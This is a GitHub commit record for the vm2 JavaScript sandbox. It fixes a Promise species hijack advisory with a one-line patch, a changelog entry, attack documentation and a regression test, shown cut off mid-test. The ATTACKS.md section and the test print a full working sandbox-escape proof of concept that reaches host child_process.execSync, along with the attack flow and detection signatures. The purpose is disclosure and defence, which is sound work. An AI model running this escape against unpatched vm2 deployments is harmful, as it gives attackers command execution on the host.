{"sha":"a462655009669c3124ee39498121651597529ea8","node_id":"C_kwDOAPKd99oAKGE0NjI2NTUwMDk2NjljMzEyNGVlMzk0OTgxMjE2NTE1OTc1MjllYTg","commit":{"author":{"name":"Patrik Simek","email":"patrik@patriksimek.cz","date":"2026-05-17T09:16:22Z"},"committer":{"name":"Patrik Simek","email":"patrik@patriksimek.cz","date":"2026-05-17T12:23:29Z"},"message":"fix(GHSA-76w7-j9cq-rx2j): close Promise species hijack in localPromise swallow tail\n\nThe `localPromise` constructor (introduced in GHSA-hw58-p9xv-2mjh) attaches an\ninternal swallow tail to every sandbox-constructed Promise via the cached host\n`Promise.prototype.then`:\n\n    apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n\nHost `then` resolves its downstream child via the species protocol — it reads\n`this.constructor[Symbol.species]` and `Construct`s a new Promise with that\nconstructor. Every sibling call site (`.then`/`.catch` overrides,\n`localReflect.apply` wrapper) already bookends host-then with\n`resetPromiseSpecies(this)` so the species pin is `localPromise`. The\nswallow-tail call site in the constructor body was the only one missing the\nreset.\n\nA sandbox subclass therefore hijacks the swallow-tail child:\n\n    class FakePromise extends Promise {\n        static get [Symbol.species]() { return ct; }\n    }\n    ct = function(executor) { executor(userResolve, userReject); };\n    new FakePromise(r => r());\n\nV8 calls `new ct(internalExecutor)` with its internal `(resolve, reject)`\ncapability. `ct` re-invokes that executor with sandbox-controlled functions —\nV8 now treats `userReject` as the child's reject. Combined with the deep\nrecursion + `e.stack` primitive (Category 29) to surface a host-realm\n`RangeError` inside `PromiseResolveThenableJob`, the raw host Error lands in\nsandbox via `userReject`. From there `ex.constructor.constructor(\"return\nprocess\")()` yields RCE.\n\nFix: add `resetPromiseSpecies(this)` immediately before the swallow-tail\n`apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow])`\ncall in `lib/setup-sandbox.js`. The species pin is now consistent across every\nhost-then call site the bridge controls, restoring Defense Invariant #4 (no\nhost built-in is invoked with a sandbox `this` whose species can be hijacked)\nfor this site.\n\nTests in `test/ghsa/GHSA-76w7-j9cq-rx2j/repro.js` cover:\n- the canonical exploit (host RangeError reaches sandbox unwrapped),\n- the bypass surface in isolation (species-hijack constructor call no longer\n  reaches a user-controlled `ct`),\n- the regression surface (benign `class MyPromise extends Promise {}` and\n  `new Promise(r => r())` continue to work as before).\n\nATTACKS.md gains Category 31 (renumbered from the branch's Category 30 to\navoid collision with GHSA-v6mx-mf47-r5wg's Category 30 already on main), a\nnew Compound Attack Patterns entry #24, and an updated \"How The Bridge\nDefends\" row for Promise species.","tree":{"sha":"fd852793baee215746035aaba1e390ba9f061925","url":"https://api.github.com/repos/patriksimek/vm2/git/trees/fd852793baee215746035aaba1e390ba9f061925"},"url":"https://api.github.com/repos/patriksimek/vm2/git/commits/a462655009669c3124ee39498121651597529ea8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null,"verified_at":null}},"url":"https://api.github.com/repos/patriksimek/vm2/commits/a462655009669c3124ee39498121651597529ea8","html_url":"https://github.com/patriksimek/vm2/commit/a462655009669c3124ee39498121651597529ea8","comments_url":"https://api.github.com/repos/patriksimek/vm2/commits/a462655009669c3124ee39498121651597529ea8/comments","author":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"patriksimek","id":1000058,"node_id":"MDQ6VXNlcjEwMDAwNTg=","avatar_url":"https://avatars.githubusercontent.com/u/1000058?v=4","gravatar_id":"","url":"https://api.github.com/users/patriksimek","html_url":"https://github.com/patriksimek","followers_url":"https://api.github.com/users/patriksimek/followers","following_url":"https://api.github.com/users/patriksimek/following{/other_user}","gists_url":"https://api.github.com/users/patriksimek/gists{/gist_id}","starred_url":"https://api.github.com/users/patriksimek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/patriksimek/subscriptions","organizations_url":"https://api.github.com/users/patriksimek/orgs","repos_url":"https://api.github.com/users/patriksimek/repos","events_url":"https://api.github.com/users/patriksimek/events{/privacy}","received_events_url":"https://api.github.com/users/patriksimek/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"ad31adc1fc4a2c163f2f8c11ab4af206074528fd","url":"https://api.github.com/repos/patriksimek/vm2/commits/ad31adc1fc4a2c163f2f8c11ab4af206074528fd","html_url":"https://github.com/patriksimek/vm2/commit/ad31adc1fc4a2c163f2f8c11ab4af206074528fd"}],"stats":{"total":316,"additions":314,"deletions":2},"files":[{"sha":"9ecc01c1712475bd0bb387df2668ca6f3139e517","filename":"CHANGELOG.md","status":"modified","additions":3,"deletions":1,"changes":4,"blob_url":"https://github.com/patriksimek/vm2/blob/a462655009669c3124ee39498121651597529ea8/CHANGELOG.md","raw_url":"https://github.com/patriksimek/vm2/raw/a462655009669c3124ee39498121651597529ea8/CHANGELOG.md","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/CHANGELOG.md?ref=a462655009669c3124ee39498121651597529ea8","patch":"@@ -2,12 +2,14 @@\n \n ## [3.11.4]\n \n-Two advisories closed. Patch release — no API changes.\n+Three advisories closed. Patch release — no API changes.\n \n ### Security fixes\n \n - **GHSA-v6mx-mf47-r5wg** — host prototype mutation via apply-trap indirection. Sandbox code could reach host prototype-mutating setters (`Object.prototype.__proto__`, `setPrototypeOf`, `defineProperty`, `__defineSetter__`/`__defineGetter__`) through `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}` indirection, sever a host intrinsic's prototype chain, and escape via the bridge's `thisEnsureThis` proto-walk fallthrough. Two-layer structural fix in `lib/bridge.js` (apply-trap blocklist + cache check before proto-walk). See ATTACKS.md Category 30 and `test/ghsa/GHSA-v6mx-mf47-r5wg/`.\n - **GHSA-q3fm-4wcw-g57x** — Defense Invariant #11 hardening for `defaultSandboxPrepareStackTrace` (second variant of GHSA-9qj6-qjgg-37qq in a different file). The sandbox stack-trace formatter accumulated frames in a sandbox-realm array and `.join`-ed them, so a sandbox-installed setter on `Array.prototype[N]` (or `.join` override) observed bridge-internal state — no host reference reachable today, but one enrichment away from regressing into the GHSA-9qj6 RCE shape. Fixed in `lib/setup-sandbox.js` by folding frames through a primitive string accumulator (no `Array.prototype` slot reachable) and converting `makeCallSiteGetters` to `localReflectDefineProperty` for symmetry. See ATTACKS.md Category 28 Variant B and `test/ghsa/GHSA-q3fm-4wcw-g57x/`.\n+- **GHSA-76w7-j9cq-rx2j** — Promise species hijack in the `localPromise` swallow tail. The swallow-tail `apply(globalPromisePrototypeThen, this, [...])` call inside `localPromise`'s constructor invoked the cached host `Promise.prototype.then` without first calling `resetPromiseSpecies(this)`, so a sandbox subclass overriding `[Symbol.species]` could redirect the downstream child constructor to a user function and capture V8's internal `(resolve, reject)` capability — delivering a raw host-realm error (RangeError from deep recursion + `e.stack`) to a sandbox collector and reaching the host `Function` constructor via `.constructor.constructor`. One-line fix in `lib/setup-sandbox.js` adds the missing `resetPromiseSpecies(this)` before the swallow-tail call, matching the pattern already used by the `.then`/`.catch`/`Reflect.apply` overrides. See ATTACKS.md Category 31 and `test/ghsa/GHSA-76w7-j9cq-rx2j/`.\n+\n \n ## [3.11.3]\n "},{"sha":"a4757e471a93133e5ee58468e0e279f9e19e7722","filename":"docs/ATTACKS.md","status":"modified","additions":105,"deletions":1,"changes":106,"blob_url":"https://github.com/patriksimek/vm2/blob/a462655009669c3124ee39498121651597529ea8/docs%2FATTACKS.md","raw_url":"https://github.com/patriksimek/vm2/raw/a462655009669c3124ee39498121651597529ea8/docs%2FATTACKS.md","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/docs%2FATTACKS.md?ref=a462655009669c3124ee39498121651597529ea8","patch":"@@ -2416,6 +2416,109 @@ We deliberately do **not** wrap on the proto-walk fall-through paths (null proto\n \n ---\n \n+## Attack Category 31: Promise Species Hijack in `localPromise` Swallow Tail\n+\n+**Uses**: [Category 4: Error Object Exploitation](#attack-category-4-error-object-exploitation), [Category 7: Promise and Async Exploitation](#attack-category-7-promise-and-async-exploitation), [Category 18: Array Species Self-Return via Constructor Manipulation](#attack-category-18-array-species-self-return-via-constructor-manipulation).\n+\n+**Supersedes**: extends [Category 22: Promise Executor Unhandled Rejection — Host Process DoS](#attack-category-22-promise-executor-unhandled-rejection--host-process-dos) — the swallow-tail call introduced there is the bypass surface.\n+\n+### Description\n+\n+The `localPromise` constructor (added in GHSA-hw58-p9xv-2mjh) attaches an internal swallow tail to every sandbox-constructed Promise by invoking the cached host `Promise.prototype.then`:\n+\n+```javascript\n+apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n+```\n+\n+The host `then` resolves the downstream child of this chain via the **species protocol**: it reads `this.constructor[Symbol.species]` and `Construct`s a new Promise with that constructor. The sandbox-side `then`/`catch`/`Reflect.apply` overrides call `resetPromiseSpecies(this)` first to clobber `constructor` so species always resolves to `localPromise` — but the swallow-tail call inside the `localPromise` constructor itself did **not**.\n+\n+A sandbox subclass `class FakePromise extends Promise { static get [Symbol.species]() { return ct; } }` therefore hijacks the species protocol to a user function `ct`. V8 calls `new ct(internalExecutor)` where `internalExecutor` is its internal `(resolve, reject)` capability builder. `ct` receives V8's resolve/reject and re-binds them — for example, `ct = function(e) { e(userFn, userCollector) }` makes `userFn` V8's \"resolve\" and `userCollector` V8's \"reject\".\n+\n+Combined with the recursion-overflow primitive from Category 29 (`function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; }`), the attacker drives V8 to raise a host-realm `RangeError` inside `PromiseResolveThenableJob`. V8's resolver catches the throw and delivers the raw host Error to `userCollector` — bypassing every sandbox sanitiser. `ex.constructor.constructor(\"return process\")()` yields the host `process` and `child_process.execSync` runs arbitrary commands.\n+\n+CWE-913 (Improper Control of Dynamically-Managed Code Resources). CVSS 9.8 (Critical).\n+\n+### Attack Flow\n+\n+1. Sandbox declares `class FakePromise extends Promise` with `static get [Symbol.species]() { return ct }` where `ct` is a user-controlled function.\n+2. Sandbox sets `ct = (executor) => executor(userResolve, userReject)`, where `userReject` is a sandbox collector that captures whatever value V8 hands it.\n+3. Sandbox constructs `new FakePromise(r => r())`. This enters `localPromise`'s constructor. The instance's `[[Prototype]]` chain is `FakePromise.prototype → localPromise.prototype → Promise.prototype`; `this.constructor` walks to `FakePromise`.\n+4. The constructor attaches the swallow tail: `apply(globalPromisePrototypeThen, this, [undefined, swallow])`. Host `then` runs `SpeciesConstructor(this, %Promise%)` → reads `FakePromise[Symbol.species]` → returns `ct`. V8 builds an internal executor `internalExecutor(resolve, reject)` and calls `Construct(ct, [internalExecutor])`. `ct` invokes `internalExecutor(userResolve, userReject)` — V8 now thinks `userReject` is the child's reject function.\n+5. Sandbox triggers a host-realm rejection in the downstream chain (e.g., via deep recursion + `e.stack` formatting → host `RangeError`). V8's `PromiseResolveThenableJob` catches the throw and calls the child's reject — which is `userReject`. The raw host `RangeError` lands in sandbox.\n+6. Sandbox reads `ex.constructor.constructor(\"return process\")()` → host `Function` constructor → `process` → RCE.\n+\n+### Canonical Example\n+\n+```javascript\n+// (advisory GHSA-76w7-j9cq-rx2j)\n+const { VM } = require('vm2');\n+new VM().run(`\n+  class E extends Error {}\n+  function so(d) {\n+    if (d > 0) so(d-1);\n+    const e = new E();\n+    e.stack;\n+    throw e;\n+  }\n+  let ex, ct;\n+  class FakePromise extends Promise {\n+    static get [Symbol.species]() { return ct; }\n+  }\n+  function doCatch(f) {\n+    ex = undefined;\n+    const p = Promise.withResolvers();\n+    ct = function(e) { e(f, v => { ex = v; p.resolve(); }) };\n+    new FakePromise(r => r());\n+    return p.promise;\n+  }\n+  (async function f(s) {\n+    let min = s, max = 100000;\n+    while (min < max) {\n+      const mid = (min + max) >> 1;\n+      await doCatch(() => so(mid));\n+      if (ex.name === \"RangeError\" && !(ex instanceof RangeError)) {\n+        ex.constructor.constructor(\"return process\")()\n+          .mainModule.require('child_process').execSync('touch pwned');\n+        return;\n+      }\n+      if (ex instanceof E) min = mid + 1; else max = mid;\n+    }\n+    f(s + 1);\n+  })(0);\n+`);\n+```\n+\n+### Why It Works\n+\n+The Category 22 swallow tail was designed to **silence** unhandled rejections without participating in user-visible Promise mechanics — so it uses the cached native `then` (`globalPromisePrototypeThen`) to avoid recursing through vm2's `.then` override. But the cached native `then` is still the **specification-mandated** `then`, which performs species resolution. The cached-`then` design correctly avoided the `.then` override recursion; it did not account for the species protocol that runs *inside* that native `then`.\n+\n+Every other call site that touches a host `then`/`catch` (`globalPromise.prototype.then` override, `globalPromise.prototype.catch` override, `localReflect.apply` wrapper) bookends with `resetPromiseSpecies(this)`. The swallow-tail site — inside `localPromise`'s own constructor body — was the only one missing the reset, because `resetPromiseSpecies` is declared later in the module and was thought to be unreachable from the constructor's lexical scope. In practice the constructor body executes lazily (user code triggers it via `new Promise(...)`), by which point the module has fully initialised and the reset is in scope.\n+\n+The species hijack is the same primitive as Category 18 (Array species self-return), now applied to Promise instead of Array. The structural lesson is identical: **every call into a host built-in that uses `SpeciesConstructor` must first neutralise the species on `this`**.\n+\n+### Mitigation\n+\n+Add `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow])` call in the `localPromise` constructor. This pins `this.constructor` to `localPromise` as an own data property, shadowing any inherited species accessor on `FakePromise`. The species protocol then resolves to `localPromise`, and the downstream child is constructed via `localPromise`'s own wrapped executor (Category 22) — V8's internal `(resolve, reject)` capability cannot be rebound by a sandbox-controlled constructor.\n+\n+Together with the existing wrapped executor and the `localPromiseInSwallowTail` re-entrancy guard, this restores **[Defense Invariant #4](#defense-invariants)** (no host built-in is invoked with a sandbox `this` whose species can be hijacked) for the swallow-tail call site, and closes the path through which raw host-realm errors reached the `userReject` collector.\n+\n+The fix preserves benign subclass behaviour: `class MyPromise extends Promise {}` still works because `MyPromise` does not override `Symbol.species`, so species would naturally resolve to `MyPromise` itself; the reset only matters when an attacker installs a malicious species. The user-visible `myPromise.constructor` is mutated to `localPromise` by the reset — the same observable change already produced by every `.then()`/`.catch()`/`Reflect.apply` call, so this is consistent with the existing invariant.\n+\n+### Detection Rules\n+\n+- **`class X extends Promise { static get [Symbol.species]() { return userFn } }`** — any sandbox subclass of Promise that overrides `Symbol.species` is suspect. After the fix, the species value is ignored for any call site vm2 controls, but the pattern remains an indicator of attempted hijack.\n+- **User function `ct` that receives the species `Construct` call and re-invokes the V8 internal executor with sandbox-controlled `(resolve, reject)`** — Category-22-style closures over the V8 resolver are the canonical attack shape.\n+- **Synchronous resolution of a Promise immediately followed by inspection of a captured rejection value** — `new FakePromise(r => r())` constructed solely to trigger the swallow tail (then the downstream child's reject) is a tell-tale signature.\n+- **Composition with the recursion-overflow primitive (Category 29)** or any other host-error generator inside the downstream chain — the species hijack is the transport; the host error is the payload.\n+\n+### Considered Attack Surfaces\n+\n+- **Other host-`then` call sites.** `sanitizeAsyncIteratorResultPromise` (the Category 29 fix) also calls `apply(globalPromisePrototypeThen, promise, [...])` on a promise produced by V8's async generator machinery. That promise is intrinsic — its `constructor` walks to `globalPromise` and species resolves to `globalPromise` by default — so the species channel is not user-controlled there. Adding a defensive `resetPromiseSpecies(promise)` is a harmless belt-and-suspenders option but is not required for this advisory.\n+- **Benign subclasses without species override.** `class MyPromise extends Promise {}` (no `[Symbol.species]`) is unaffected — species would naturally resolve to `MyPromise`; the reset only flips it to `localPromise`. The pinned `localPromise` constructor is fully compatible with subclass semantics (the outer instance is still a `MyPromise`; only the internal swallow-tail child is `localPromise`, and that child is never returned to user code).\n+- **Frozen `Promise.prototype.constructor`.** `resetPromiseSpecies` defines an own data property on the instance, not on the prototype. Even if a hostile sandbox tried to make the prototype's `constructor` non-configurable (which the bridge prevents), the own-property write would still shadow it. The reset throws a `LocalError` only if the instance itself is non-extensible or has a non-configurable `constructor` — in which case the outer try/catch in the swallow-tail block swallows it harmlessly and the rest of the constructor proceeds.\n+\n+---\n+\n ## Considered Attack Surfaces\n \n These attack surfaces were analyzed and found to be safe or low-risk. They are documented here so future reviewers do not re-investigate them.\n@@ -2502,6 +2605,7 @@ The most dangerous attacks combine multiple categories. Each pattern references\n 21. **Host Built-in Identity Leak via Proto Walk** [Categories 1, 2, 8] (NOW FIXED): Walk the prototype chain via `({}).__lookupGetter__('__proto__')` composed with `Buffer.apply` (or any host-bound `__proto__` getter) to terminate at host `Object.prototype`, then read `.constructor` to obtain a *reference* to host `Object` whose identity is disjoint from sandbox `Object`. The original symbol-filter patch (commit `67bc511`) closed the demonstrated RCE payload but left this primitive intact — any future bypass that turns \"I have a host built-in handle\" into \"I can read a host symbol or call a host method that bypasses bridge sanitisation\" would re-enable the same escape class. Closed structurally by `thisAddIdentityMapping` in `lib/bridge.js` (see Category 8 mitigation).\n 22. **Async Generator yield*-Return Thenable + Stack-Overflow Realm Skew** [Categories 4, 7, 29] (NOW FIXED): Use `yield*` to a no-`return` inner async iterator, then `.return(thenable)` where the thenable's `.then` synchronously throws via deep recursion. V8's `PromiseResolveThenableJob` captures the throw and the yield* continuation surfaces it as `{ value, done: false }` — bypassing both the transformer's user-`catch` instrumentation and the `globalPromise.prototype.then` rejection sanitiser. Binary-search the recursion depth where the overflow originates inside V8's host C++ code so the `RangeError` is host-realm, then `e.constructor.constructor(\"return process\")()`. Closed by wrapping `%AsyncGeneratorPrototype%.next/.return/.throw` to route iterator-result `.value` and rejections through `handleException`, plus replacing every thenable arg with a sandbox-realm wrapper whose `.then` is a fixed `safeThen` and always-shadowing the non-function branch so V8's re-read of `.then` cannot observe attacker-controlled values.\n 23. **Host Prototype Mutation via Apply-Trap Indirection + WebAssembly Rejection** [Categories 2, 4, 7, 30] (NOW FIXED): Resolve host `Object.prototype.__proto__` setter via `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")` (the `connect()`-aliased sandbox `__lookupSetter__` walks back to host). Trigger a host-realm `TypeError` (e.g., `await WebAssembly.compileStreaming()`). Inside `catch(e)`, call `setProto.call(getProto.call(e), null)` — the apply trap unwraps `context` and forwards to the host setter, severing host `TypeError.prototype.[[Prototype]]` without any write trap firing. The next host `TypeError` from `await WebAssembly.compileStreaming()` walks back into sandbox code through V8 async internals; the bridge's proto-walk no longer finds the registered mapping at the right level and the value falls through unwrapped. `e.constructor.constructor` is then host `Function`. Closed structurally by (A) caching host prototype-mutating intrinsics (`Object.prototype.__proto__` setter, `Object.setPrototypeOf`, `Reflect.setPrototypeOf`, `Object.{defineProperty,defineProperties}`, `Reflect.defineProperty`, `Object.prototype.__define{Getter,Setter}__`) and refusing them in the apply trap with one layer of indirection peel for `Function.prototype.{call,apply,bind}` and `Reflect.{apply,construct}`; (B) cache-check on `mappingOtherToThis` before the proto-walk in `thisEnsureThis` so any previously-bridged host value returns the existing proxy even with a tampered proto chain.\n+24. **Promise Species Hijack + Stack-Overflow Realm Skew** [Categories 4, 7, 18, 29, 31] (NOW FIXED): `class FakePromise extends Promise { static get [Symbol.species]() { return ct } }` reroutes the swallow-tail child constructor inside `localPromise` to a sandbox-controlled `ct`. `ct` rebinds V8's internal `(resolve, reject)` capability to a sandbox collector; trigger a host-realm `RangeError` via `e.stack` after deep recursion (binary-searched depth) inside the downstream chain; V8's `PromiseResolveThenableJob` delivers the raw host Error to the collector — `ex.constructor.constructor(\"return process\")()` then yields RCE. Closed by adding `resetPromiseSpecies(this)` immediately before the swallow-tail `apply(globalPromisePrototypeThen, this, ...)` call so the species protocol always resolves to `localPromise` regardless of the user's subclass `Symbol.species` override.\n \n ### How The Bridge Defends\n \n@@ -2510,7 +2614,7 @@ The most dangerous attacks combine multiple categories. Each pattern references\n | Constructor chain | Returns `{}` for Function constructor access; `isThisDangerousFunctionConstructor` blocks all variants |\n | __proto__ access | Intercepts and returns sandbox-side prototype |\n | Proxy traps | Wraps Proxy constructor, sanitizes handler objects, null-prototype handlers |\n-| Symbol.species (Promise) | Unconditionally sets `p.constructor = localPromise` as own data property before every `.then()`/`.catch()` (eliminates TOCTOU) |\n+| Symbol.species (Promise) | Unconditionally sets `p.constructor = localPromise` as own data property before every `.then()`/`.catch()` **and before the internal swallow-tail call in `localPromise`'s constructor** (GHSA-76w7-j9cq-rx2j); eliminates TOCTOU and species hijack via subclass `[Symbol.species]` |\n | Symbol.species (Array) | Three-layer defense: set/defineProperty traps + neutralizeArraySpecies in apply trap |\n | Reflect.construct instanceof bypass | `resetPromiseSpecies` sets constructor on any object, not just `instanceof globalPromise` |\n | Species TOCTOU via accessor | Own data property set by `Reflect.defineProperty`; no getter invoked |"},{"sha":"73de14fc4d51376637ec92e4479dfe5e711e0fc5","filename":"lib/setup-sandbox.js","status":"modified","additions":18,"deletions":0,"changes":18,"blob_url":"https://github.com/patriksimek/vm2/blob/a462655009669c3124ee39498121651597529ea8/lib%2Fsetup-sandbox.js","raw_url":"https://github.com/patriksimek/vm2/raw/a462655009669c3124ee39498121651597529ea8/lib%2Fsetup-sandbox.js","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/lib%2Fsetup-sandbox.js?ref=a462655009669c3124ee39498121651597529ea8","patch":"@@ -87,6 +87,24 @@ class localPromise extends globalPromise {\n \t\tif (!localPromiseInSwallowTail) {\n \t\t\tlocalPromiseInSwallowTail = true;\n \t\t\ttry {\n+\t\t\t\t// SECURITY (GHSA-76w7-j9cq-rx2j): the cached host then()\n+\t\t\t\t// resolves the downstream child via the species protocol\n+\t\t\t\t// (`this.constructor[Symbol.species]`). Without this reset\n+\t\t\t\t// a sandbox subclass — `class F extends Promise { static\n+\t\t\t\t// get [Symbol.species](){ return ct } }` — hijacks species\n+\t\t\t\t// to a user function `ct` which is then `Construct`ed with\n+\t\t\t\t// V8's internal `(resolve, reject)` executor. The user can\n+\t\t\t\t// reassign V8's resolve/reject, redirect rejection to a\n+\t\t\t\t// sandbox collector, and receive a raw host-realm Error\n+\t\t\t\t// (e.g. RangeError from `e.stack` after deep recursion)\n+\t\t\t\t// whose `.constructor.constructor` is the host `Function`\n+\t\t\t\t// constructor → RCE. Pinning the species back to\n+\t\t\t\t// `localPromise` forces the downstream child through our\n+\t\t\t\t// own wrapped executor where the species cannot be\n+\t\t\t\t// hijacked. The sandbox-side `then`/`catch`/`Reflect.apply`\n+\t\t\t\t// overrides already call this; the swallow-tail call here\n+\t\t\t\t// was the missed site.\n+\t\t\t\tresetPromiseSpecies(this);\n \t\t\t\tapply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n \t\t\t} catch (e) {\n \t\t\t\t// best effort — never let the swallow itself crash the executor"},{"sha":"56063d7735746e4d7e6dbb29c68ed6c9cab3a6d1","filename":"test/ghsa/GHSA-76w7-j9cq-rx2j/repro.js","status":"added","additions":188,"deletions":0,"changes":188,"blob_url":"https://github.com/patriksimek/vm2/blob/a462655009669c3124ee39498121651597529ea8/test%2Fghsa%2FGHSA-76w7-j9cq-rx2j%2Frepro.js","raw_url":"https://github.com/patriksimek/vm2/raw/a462655009669c3124ee39498121651597529ea8/test%2Fghsa%2FGHSA-76w7-j9cq-rx2j%2Frepro.js","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/test%2Fghsa%2FGHSA-76w7-j9cq-rx2j%2Frepro.js?ref=a462655009669c3124ee39498121651597529ea8","patch":"@@ -0,0 +1,188 @@\n+'use strict';\n+\n+/**\n+ * GHSA-76w7-j9cq-rx2j — Sandbox breakout via Promise species in localPromise\n+ *                       swallow-tail.\n+ *\n+ * ## Vulnerability\n+ * The `localPromise` constructor (added in GHSA-hw58-p9xv-2mjh) attaches a\n+ * benign swallow tail via the cached host `then`:\n+ *\n+ *     apply(globalPromisePrototypeThen, this, [undefined, localPromiseSwallow]);\n+ *\n+ * The host `Promise.prototype.then` resolves the promise to use for the\n+ * downstream chain via the **species protocol**: it reads\n+ * `this.constructor[Symbol.species]` and `Construct`s a new promise with\n+ * that. The sandbox-side `then` / `catch` / `Reflect.apply` overrides call\n+ * `resetPromiseSpecies(this)` first to clobber `constructor` so species\n+ * resolution always yields `localPromise` — but the swallow-tail call inside\n+ * the constructor itself does NOT, because at construction time the\n+ * `resetPromiseSpecies` symbol is in the temporal dead zone.\n+ *\n+ * Attack: build `class FakePromise extends Promise { static get\n+ * [Symbol.species]() { return ct; } }` where `ct` is a user function. Then\n+ * `new FakePromise(r => r())` enters the swallow-tail path → host `then`\n+ * does `new ct(internalExecutor)` → the user-controlled `ct` receives V8's\n+ * internal `(resolve, reject)` executor and reassigns them. When V8's\n+ * `PromiseResolveThenableJob` rejects the downstream chain with a host-\n+ * realm `RangeError` (triggered by a deep-recursion `e.stack` access), the\n+ * raw host Error reaches sandbox code unbridged. Reading\n+ * `ex.constructor.constructor` returns the host `Function` constructor →\n+ * `Function(\"return process\")()` → RCE.\n+ *\n+ * ## Fix\n+ * Reset the promise species on `this` inside the `localPromise` constructor\n+ * before invoking the host `then` for the swallow tail. With species pinned\n+ * back to `localPromise`, the downstream child is constructed via our own\n+ * wrapped executor — V8's reject path is bridged through `handleException`\n+ * and the species-resolved constructor cannot be hijacked.\n+ *\n+ * ## Variants covered\n+ * 1. Canonical PoC (binary-search RangeError via deep recursion).\n+ * 2. Direct: any synchronously-rejected `new FakePromise()` whose species\n+ *    is a user function — verify it cannot extract a host value.\n+ * 3. `new FakePromise(reject-throws)`: the inner executor synchronously\n+ *    throws a host-typed error; verify the rejection delivered to sandbox\n+ *    `.catch()` is a sandbox-realm value, not host.\n+ * 4. Stacked subclass: `class A extends FakePromise extends Promise`\n+ *    — species walks the constructor inheritance chain; the reset must win\n+ *    regardless of subclass depth.\n+ */\n+\n+const assert = require('assert');\n+const { VM } = require('../../../lib/main.js');\n+\n+if (typeof it.cond !== 'function') {\n+\tit.cond = function (name, cond, fn) {\n+\t\treturn cond ? it(name, fn) : it.skip(name, fn);\n+\t};\n+}\n+\n+const NODE_MAJOR = parseInt(process.versions.node.split('.')[0], 10);\n+// Promise.withResolvers landed in Node 22; the canonical PoC uses it.\n+const HAS_WITH_RESOLVERS = typeof Promise.withResolvers === 'function';\n+\n+describe('GHSA-76w7-j9cq-rx2j (Promise species swallow-tail breakout)', function () {\n+\tthis.timeout(15000);\n+\n+\tit.cond('canonical PoC: stack-overflow RangeError cannot reach sandbox unbridged', HAS_WITH_RESOLVERS, function (done) {\n+\t\tconst vm = new VM({ timeout: 12000 });\n+\t\ttry {\n+\t\t\tvm.run(`\n+\t\t\t\tclass E extends Error {}\n+\t\t\t\tfunction so(d) {\n+\t\t\t\t\tif (d > 0) so(d-1);\n+\t\t\t\t\tconst e = new E();\n+\t\t\t\t\te.stack;\n+\t\t\t\t\tthrow e;\n+\t\t\t\t}\n+\t\t\t\tlet ex, ct;\n+\t\t\t\tclass FakePromise extends Promise {\n+\t\t\t\t\tstatic get [Symbol.species](){return ct;}\n+\t\t\t\t}\n+\t\t\t\tfunction doCatch(f) {\n+\t\t\t\t\tex=undefined;\n+\t\t\t\t\tconst p=Promise.withResolvers();\n+\t\t\t\t\tct = function(e){e(f, v=>{ex=v;p.resolve();})};\n+\t\t\t\t\tnew FakePromise(r=>r());\n+\t\t\t\t\treturn p.promise;\n+\t\t\t\t}\n+\t\t\t\t(async function f(s) {\n+\t\t\t\t\tlet min = s;\n+\t\t\t\t\tlet max = 100000;\n+\t\t\t\t\twhile (min<max) {\n+\t\t\t\t\t\tconst mid = (min+max)>>1;\n+\t\t\t\t\t\tawait doCatch(()=>so(mid));\n+\t\t\t\t\t\tif (ex && ex.name===\"RangeError\" && !(ex instanceof RangeError)) {\n+\t\t\t\t\t\t\t// Escape succeeded: record the leak.\n+\t\t\t\t\t\t\tglobalThis.__ghsa76w7_escape = true;\n+\t\t\t\t\t\t\ttry {\n+\t\t\t\t\t\t\t\tglobalThis.__ghsa76w7_procType =\n+\t\t\t\t\t\t\t\t\ttypeof ex.constructor.constructor(\"return process\")();\n+\t\t\t\t\t\t\t} catch(_) { /* still an escape even if Function ctor is blocked */ }\n+\t\t\t\t\t\t\treturn;\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\tif (ex instanceof E) {\n+\t\t\t\t\t\t\tmin = mid+1;\n+\t\t\t\t\t\t} else {\n+\t\t\t\t\t\t\tmax = mid;\n+\t\t\t\t\t\t}\n+\t\t\t\t\t}\n+\t\t\t\t\tif (s < 32) f(s+1);\n+\t\t\t\t})(0);\n+\t\t\t`);\n+\t\t} catch (e) {\n+\t\t\t// Synchronous throw is acceptable — that is the sandbox refusing.\n+\t\t}\n+\n+\t\t// Give the binary search time to run.\n+\t\tsetTimeout(function () {\n+\t\t\tconst escaped = vm.run('globalThis.__ghsa76w7_escape === true');\n+\t\t\tconst leakedProcessType = vm.run('globalThis.__ghsa76w7_procType');\n+\t\t\tassert.strictEqual(escaped, false, 'sandbox obtained a host-realm RangeError reference');\n+\t\t\tassert.notStrictEqual(leakedProcessType, 'object', 'sandbox extracted host process via Function constructor');\n+\t\t\tdone();\n+\t\t}, 9000);\n+\t});\n+\n+\tit.cond('species hijack via subclass cannot bind a user constructor as downstream species', HAS_WITH_RESOLVERS, function (done) {\n+\t\t// 